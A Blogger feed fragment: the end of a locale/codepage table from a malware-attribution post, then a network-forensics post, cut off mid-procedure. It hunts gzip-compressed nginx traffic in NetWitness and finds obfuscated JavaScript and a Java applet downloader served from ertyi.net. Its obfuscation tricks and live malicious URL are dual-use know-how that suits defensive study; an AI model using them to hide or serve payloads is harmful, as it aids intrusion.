&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – Monaco&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;6156&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Tunisia&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-tn&lt;/td&gt;&lt;td&gt;7169&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – Southern Africa&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-za&lt;/td&gt;&lt;td&gt;7177&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Dominican Republic&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-do&lt;/td&gt;&lt;td&gt;7178&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – West Indies&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;7180&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Oman&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-om&lt;/td&gt;&lt;td&gt;8193&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – Jamaica&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-jm&lt;/td&gt;&lt;td&gt;8201&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Venezuela&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-ve&lt;/td&gt;&lt;td&gt;8202&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Yemen&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-ye&lt;/td&gt;&lt;td&gt;9217&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – Caribbean&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-cb&lt;/td&gt;&lt;td&gt;9225&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Colombia&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-co&lt;/td&gt;&lt;td&gt;9226&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – Congo&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;9228&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Syria&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-sy&lt;/td&gt;&lt;td&gt;10241&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – Belize&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-bz&lt;/td&gt;&lt;td&gt;10249&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Peru&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-pe&lt;/td&gt;&lt;td&gt;10250&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – Senegal&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;10252&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Jordan&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-jo&lt;/td&gt;&lt;td&gt;11265&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – Trinidad&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-tt&lt;/td&gt;&lt;td&gt;11273&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Argentina&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-ar&lt;/td&gt;&lt;td&gt;11274&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – Cameroon&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;11276&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Lebanon&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-lb&lt;/td&gt;&lt;td&gt;12289&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – Zimbabwe&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;12297&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Ecuador&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-ec&lt;/td&gt;&lt;td&gt;12298&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – Cote d’Ivoire&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;12300&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Kuwait&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-kw&lt;/td&gt;&lt;td&gt;13313&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – Phillippines&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-ph&lt;/td&gt;&lt;td&gt;13321&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Chile&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-cl&lt;/td&gt;&lt;td&gt;13322&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – Mali&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;13324&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – United Arab Emirates&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-ae&lt;/td&gt;&lt;td&gt;14337&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Uruguay&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-uy&lt;/td&gt;&lt;td&gt;14346&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – Morocco&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;14348&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Bahrain&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-bh&lt;/td&gt;&lt;td&gt;15361&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Paraguay&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-py&lt;/td&gt;&lt;td&gt;15370&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Qatar&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-qa&lt;/td&gt;&lt;td&gt;16385&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – India&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-in&lt;/td&gt;&lt;td&gt;16393&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Bolivia&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-bo&lt;/td&gt;&lt;td&gt;16394&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – El Salvador&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-sv&lt;/td&gt;&lt;td&gt;17418&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Honduras&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-hn&lt;/td&gt;&lt;td&gt;18442&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Nicaragua&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-ni&lt;/td&gt;&lt;td&gt;19466&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Puerto Rico&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-pr&lt;/td&gt;&lt;td&gt;20490&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;</content><link rel='replies' type='application/atom+xml' href='http://garygolomb.blogspot.com/feeds/3724479752871506047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://garygolomb.blogspot.com/2010/11/identifying-country-of-origin-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default/3724479752871506047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default/3724479752871506047'/><link rel='alternate' type='text/html' href='http://garygolomb.blogspot.com/2010/11/identifying-country-of-origin-for.html' title='Identifying the country of origin for a malware PE executable'/><author><name>Gary Golomb</name><uri>http://www.blogger.com/profile/16783084866456430578</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='17' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbRNeGtEO_W_ItNA_YX1leAKitOl81FwZwc8AxB9392DDZM3EZeO3ujmVb2ApY2SQUQktxu93BRV9FQQupRDp0wyE8peWmR2oQ4_h0q1be5eZRH0-u-n59pXKh0bUXQsk/s220/IMG_0435.JPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg27hSagCstzoZp4ZusdOb7caBF_8lO5WfL60D_bC3f_PCSSvFCtRSDfSD8y3mkyAKIIBIOrUoH59bTVvq3X8qIf9_uV1K8u5AvLnzT2YhEhnrKOAwiq9T1k6oGYOr_PZcIC0CfzZT8N3I/s72-c/google+translate.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9200389290278441968.post-8924032207946128439</id><published>2010-11-27T10:35:00.001-05:00</published><updated>2010-11-27T11:04:25.398-05:00</updated><title type='text'>Network Forensics and Reversing Part 1 – gzip web content, java malware, and a little JavaScript</title><content type='html'>&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;Note: This is a reprint of a posting I made for my company, NetWitness (&lt;/span&gt;&lt;a href=&quot;http://www.netwitness.com/&quot;&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;www.netwitness.com&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;). This is unchanged from the original, however that copy can be found at: &lt;a href=&quot;http://www.networkforensics.com/2010/11/14/network-forensics-and-reversing-part-1-gzip-web-content-java-malware-and-a-little-javascript/&quot;&gt;http://www.networkforensics.com/2010/11/14/network-forensics-and-reversing-part-1-gzip-web-content-java-malware-and-a-little-javascript/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;&lt;span class=&quot;entry&quot;&gt;Something I’ve found unsettling for some time now is the drastically increased usage of gzip as a Content-Encoding transfer type from web servers. By default now, Yahoo, Google, Facebook, Twitter, Wikipedia, and many other organizations compress the content they send to your users. From that list alone, you can infer that most of the HTTP traffic on any given network is not transferred in plaintext, but rather as compressed bytes.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
That means web content you’d expect to look like this on the wire (making it easily searchable for policy violations and security threats):&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/wikipedia-decode.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-529&quot; height=&quot;133&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/wikipedia-decode.png&quot; title=&quot;wikipedia javascript decode&quot; width=&quot;465&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
In reality, looks like this:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/wikipedia-actual.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-full wp-image-530 alignnone&quot; height=&quot;512&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/wikipedia-actual.png&quot; title=&quot;wikipedia actual javascript&quot; width=&quot;373&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
As it turns out, the two screenshot above are for the exact same network session, the later screenshot being from wireshark and showing the data sent by the webserver really is compressed and not discernable.&lt;br /&gt;
&lt;br /&gt;
By extension, you can likely say that most real-time network forensics/monitoring tools are [realistically] “blind” to [plausibly] a majority of the web the traffic flowing into your organization.&lt;br /&gt;
&lt;br /&gt;
Combined with the fact that a vast majority of compromises are delivered to clients via HTTP (at this time, typically through the use of javascript), my use of the word “unsettling” should be an understatement. This includes everything from “APT” types of threats (or whatever soapbox you stand on to describe the same thing), down to drive-by’s and mass exploitations.&lt;br /&gt;
&lt;br /&gt;
The good news: Current trends in exploitation have given us very powerful methods for generic detection (eg: without needing “signatures,” or more precisely – preexisting knowledge about the details of particular vulnerabilities or exploits) by examining traits of javascript, iframes, html, pdf’s, etc.&lt;br /&gt;
&lt;br /&gt;
The bad news: Webservers are reducing the chance of network technologies from detecting those conditions by compression based transfer (obfuscation).&lt;br /&gt;
&lt;br /&gt;
I find no fault with organizations choosing to use gzip as their transfer type. HTTP is a horribly repetitive and redundant language (read: bloated). Every opening &amp;lt;tag&amp;gt; has an identical closing &amp;lt;/tag&amp;gt;. XML is even worse. For massive sites with massive traffic, the redundancy and bloat of protocols like HTTP and XML translate directly to lost revenue via extremely large amounts of wasted bandwidth.&lt;br /&gt;
&lt;br /&gt;
Nonetheless, as forensic engineers, our challenge is to discover and compensate for all the things proactive security technologies like AV, firewalls, IPS, etc. continually fail to identify and stop. Recently, I added the following rule on a customer’s network in NetWitness:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/add-rule1.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-533&quot; height=&quot;412&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/add-rule1.png&quot; title=&quot;add a rule in netwitness&quot; width=&quot;484&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
If you’re not familiar with the NetWitness rule syntax, the rule above does the following:&lt;br /&gt;
&lt;br /&gt;
If the server application/version (as extracted by the protocol parsing engine) contains the string: “nginx,”&lt;br /&gt;
AND&lt;br /&gt;
If the Content-Encoding used by the server is gzip&lt;br /&gt;
THEN&lt;br /&gt;
Create a tag labeled “http_gzip_from_nginx” in a key called “monitors.”&lt;br /&gt;
&lt;br /&gt;
In the Investigator GUI, you would see something like this in the “monitors” key:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/meta.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-534&quot; height=&quot;52&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/meta.png&quot; title=&quot;meta&quot; width=&quot;212&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Why nginx? As it turns out, a lot of hackers tend to use nginx webservers, so this seemed like a good place to start experimenting. The question I was trying to answer is:&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;&lt;strong&gt;If the content body of a web response is gzip’ed (so we can’t examine traits of “suspiciousness” inside the body), then what can we see outside the body to indicate this gzip’ed traffic is worth examining further?&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
We’ll revisit this question in later blog posts, but for now, nginx as a webserver is an amazingly powerful place to start! We’ll examine one such example in this post, with an additional post using the gzip + nginx combination. As the small screenshot above shows, there were 33 sessions meeting the criteria of gzip + nginx (out of about 50,000 sessions). With only 33 sessions, it’s possible to examine them by drilling into the packets of all 33, examining them each one-by-one (eg: brute-force forensic examination), but that would be poor forensic technique and defeat the entire point of a technical and educational network forensics blog! The examples in these series of blog posts will employ good forensic practices using “correlative techniques,” allowing us to have a good idea of what is inside the packet contents before we ever drill that deeply into the network data (an indication you are using good network forensics practices).&lt;br /&gt;
&lt;br /&gt;
The first pivot point we’ll examine are countries. Keep in mind, this is after we used the rule above to include only network sessions where the server returned gzip compressed content, and where the webserver was some type of nginx. We could have manually done the same by first pivoting on the content type of gzip:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/meta-gzip1.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-536&quot; height=&quot;47&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/meta-gzip1.png&quot; title=&quot;meta gzip&quot; width=&quot;205&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Doing the first pivot reduces the number of sessions we’re examining from about 50,000 down to 2,878. Then we can do a custom filter to only include servers with the string “nginx” within those 2,878 session. Doing so gives us the same 33 sessions mentioned above.&lt;br /&gt;
In those 33 sessions, the countries communicated with are:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/countries.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-537&quot; height=&quot;52&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/countries.png&quot; title=&quot;countries&quot; width=&quot;395&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Not only do we tend to see a higher degree of malicious traffic from countries like Latvia, it immediately looks suspicious simply because it’s an outlier in the list. (Don’t worry Latvia, we’ll pick on our own country in the next post!) Additionally, there’s only a single session to examine here, meaning drilling into the packet-level detail is an ok decision at this point.&lt;br /&gt;
In the request, we see the client requested the file “/th/inyrktgsxtfwylf.php” from the host “ertyi.net,” as shown next:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/request1.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-539&quot; height=&quot;166&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/request1.png&quot; title=&quot;request&quot; width=&quot;484&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
As expected, based on the meta information NetWitness already extracted, we see the gzip’ed reply from a nginx server:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/reply.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-540&quot; height=&quot;211&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/reply.png&quot; title=&quot;reply nginx&quot; width=&quot;449&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Fortunately, Investigator makes it easy for us to examine gzip’ed content by right-clicking in the session display and selecting decode as compressed data:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/decode-as1.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-541&quot; height=&quot;261&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/decode-as1.png&quot; title=&quot;decode as&quot; width=&quot;440&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Doing so shows us a MUCH different story!&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/reply-decoded1.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-542&quot; height=&quot;232&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/reply-decoded1.png&quot; title=&quot; nginx reply decoded&quot; width=&quot;410&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The traffic appears to be obfuscated javascript. We can extract it from NetWitness (a few different ways) to clean it up and examine. I’ll skip those steps and just show the cleaned-up and nicely formatted content the webserver returned.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/example-1-clean.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-543&quot; height=&quot;441&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/example-1-clean.png&quot; title=&quot;example 1 javascript clean&quot; width=&quot;491&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
There are a few things to notice in here. At the very bottom of the image above, we clearly see encoded javascript, a trait extremely common to client-side exploit delivery and malicious webpages. We’ll save full javascript reverse engineering for another blog post.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/ex-1-script.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-545&quot; height=&quot;81&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/ex-1-script.png&quot; title=&quot;ex 1 script&quot; width=&quot;491&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
But the worst (or most interesting) part is the decoding and evaluation for this encoded data, while implemented in javascript, is stored inside a TextArea HTML object! This technique makes the real logic invisible and indiscernible to most automated javascript reverse engineering tools.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/ex-1-textarea.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-546&quot; height=&quot;236&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/ex-1-textarea.png&quot; title=&quot;ex 1 textarea&quot; width=&quot;490&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Indeed, if we upload this webpage to one of my favorite js reversing sites (jsunpack, located at: &lt;a href=&quot;http://jsunpack.jeek.org/dec/go&quot;&gt;http://jsunpack.jeek.org/dec/go&lt;/a&gt;), we see the following results when the site attempts to automatically reverse engineer the javascript:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/jsunpack.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-547&quot; height=&quot;118&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/jsunpack.png&quot; title=&quot;jsunpack&quot; width=&quot;462&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Without going further into the process of reverse engineering the javascript (for now – we have an endless supply of blog posts coming!), we can be quite sure we’re looking at something suspicious. At the very least, we know for a fact we’re looking at something that does not make it easy to discern what it’s doing!&lt;br /&gt;
&lt;br /&gt;
The telltale signs of “badness” don’t stop there. At the top of the decoded body data we saw an embedded java applet, as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/ex-1-applet.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-548&quot; height=&quot;119&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/ex-1-applet.png&quot; title=&quot;ex 1 java malware applet&quot; width=&quot;490&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
While we don’t know (yet) what the applet does, there’s a pretty strong indication it’s a downloader or C&amp;amp;C (command and control) application of some type. How can we make such a guess without knowing anything about it?&lt;br /&gt;
&lt;br /&gt;
Look closely at the embedded parameter passed into the applet:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/ex-1-applet-underline.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-549&quot; height=&quot;52&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/ex-1-applet-underline.png&quot; title=&quot;ex 1 java malware applet underline&quot; width=&quot;408&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
We can make a guess that the string contained in the “value” parameter is encoded data using a simple substitution cypher where “S”[parm] = “T”[actual] and “T”[parm] = “/”[actual]. If we made such a guess, then it’s possible the decoded parameter value actually starts with the string “http://”.&lt;br /&gt;
&lt;br /&gt;
Of course, because we have the download of the jar file within our full packet capture and storage database, we’ll just extract it from NetWitness to validate our hunch and possibly learn more. In the below screenshot, I already performed the following steps:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Switched to the session with the jar file download. (Simply clicked on the next session between that same client and server.)&lt;/li&gt;
&lt;li&gt;Extracted the jar file by saving the raw data from the server using the “Extract Payload Side 2” option in NetWitness.&lt;/li&gt;
&lt;li&gt;Opened the jar file using the following java decompiler:&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
